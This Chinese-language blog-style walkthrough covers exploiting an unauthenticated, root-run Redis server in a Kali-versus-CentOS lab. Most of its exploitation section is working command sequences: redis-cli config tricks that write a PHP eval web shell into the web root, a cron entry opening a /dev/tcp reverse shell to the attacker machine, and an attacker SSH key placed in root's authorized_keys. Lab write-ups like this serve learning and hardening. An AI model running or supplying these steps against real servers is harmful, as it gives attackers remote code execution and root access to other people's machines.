- 起序:是因为我同学的云服务器被黑了,被挖矿了,原因就是 redis 可以未授权访问,还是 root 级别的,我直接好家伙,整理记录一下。
一、软件环境
- 虚拟机:VMware Workstation 15.5.1 Pro
- Kali:kali-linux-2020.4-installer-amd64.iso
- CentOS:CentOS-7-x86_64-DVD-2003.iso
- redis-5.0.5.tar.gz
二、环境搭建
1、CentOS 环境配置
1、启动 Web 服务
安装
httpd
服务,目的是为了下面的写入一句话
的漏洞利用。
yum install httpd
开启 web 服务,当前靶机的 IP 地址为
192.168.1.137
。
systemctl start http.service
如果服务器没有
php
环境,访问Web
的时候,php
文件是不解析的。(已踩过坑,后来的同志们不要再踩了)
下面链接是之前做的,里面有安装php
环境的方法,我这里就不想写了,把离线安装看完就行了,如果网络好的话那就用在线安装。php72
依赖包在该文章中提供了。
希望你能看懂。希望你不要光看图片,多看看文字。
2、启动 redis 服务
如何安装,可以参考下面文章。
- 没有写,哈哈哈。
关闭 IP 绑定,允许主机远程连接
redis
服务。用#
号注掉。
关闭保护模式,允许主机远程连接
redis
服务。
启动
redis
服务。
./bin/redis-server ./conf/redis.conf
2、Kali 环境配置
安装
redis-cli
,可以参考下面文章。
三、漏洞利用
1、写入一句话
1、前提条件
- 已知 web 服务的绝对路径;
redis
对 web 目录有写入权限;
2、漏洞利用
在
/var/www/html
目录下写入一句话木马。
# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379
# 设置保存的目录
192.168.1.137:6379> config set dir /var/www/html
# 设置保存的文件
192.168.1.137:6379> config set dbfilename shell.php
# 设置保存的内容
192.168.1.137:6379> set x "<?php @eval($_POST['shell']);?>"
# 保存
192.168.1.137:6379> save
已经将一句话木马写在了
/var/www/html
目录下,中国蚁剑连接一下。
2、计划任务反弹 shell
1、前提条件
redis
以 root 权限运行;
2、漏洞利用
kali
进行监听。
nc -nvlp 1314
在
/var/spool/cron/
写入定时任务。
# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379
# 设置保存的目录
192.168.1.137:6379> config set dir /var/spool/cron/
# 设置保存的文件
192.168.1.137:6379> config set dbfilename root
# 设置保存的内容 /bin/bash -i >& /dev/tcp/{攻击机 IP}/{端口} 0>&1
192.168.1.137:6379> set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.107/1314 0>&1\n\n"
# 保存
192.168.1.137:6379> save
需要等一会,然后查看监听结果。
3、ssh 免密登陆
1、前提条件
…
2、漏洞利用
在
kali
本机生成一对公私钥。
ssh-keygen -t rsa
查看
id_rsa.pub
内容。
上传公钥到靶机的
.ssh
目录下(首先.ssh
文件要存在,我是在靶机/root
目录下新建的.ssh
文件)。下面是在kali
上操作的。
# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379
# 设置保存的目录
192.168.1.137:6379> config set dir /root/.ssh/
# 设置保存的文件
192.168.1.137:6379>config set dbfilename authorized_keys
# 设置保存的内容
192.168.1.137:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaRhV49ZWIyTzDu2w6BdDtv4Ej7uouX2G4pgk6Q8pTvZ9rqrQRJvgqlc6/K7BQKltLUpU0Pc/81S2kyDVo5PMm+GPSX8AEHUzW6OaJbMJxAUNZFTRdBgKslpsu3sjJAcm+qDOFpa9qwztoKofwE//mcwy/CflxGVIShOY1T3OKqy8gEBGDvBkulcdXd5EBBJ+OBmF+CQTSTkf7LrUV8+Yx/vMMb0/ZwJ4xeiXiN2GqF/eMjnX/3wugFgMG9YUB+KJWsVxMpul2p14rOHQ5BuNv35VQCZXz7b1w/5eeJ4nLulR5D4qZMgTRA82lFPcABN3pKi+MR0+H9rOE5sqD8OO19CWEonk/N3GkEiFYoiGojRQIQ+WxbGT4bP/V20w7uVZ6Fr6MeVdi1t/fjpVlQ299iQDEIL9F8R96hGAc296HVtcKiG2WHY3SrdsCDPohBim4U0WDmP5yhgxUMVKA0kzdJkGds3zpUpE7xvyrIY8I9Ppo0ple5+ff0ykkkvDJxpE= root@kali\n\n\n"
# 保存
192.168.1.137:6379> save
kali
本机ssh
私钥连接。
ssh -i id_rsa root@192.168.1.137 -p 22
如果对您有帮助,点个赞再走吧。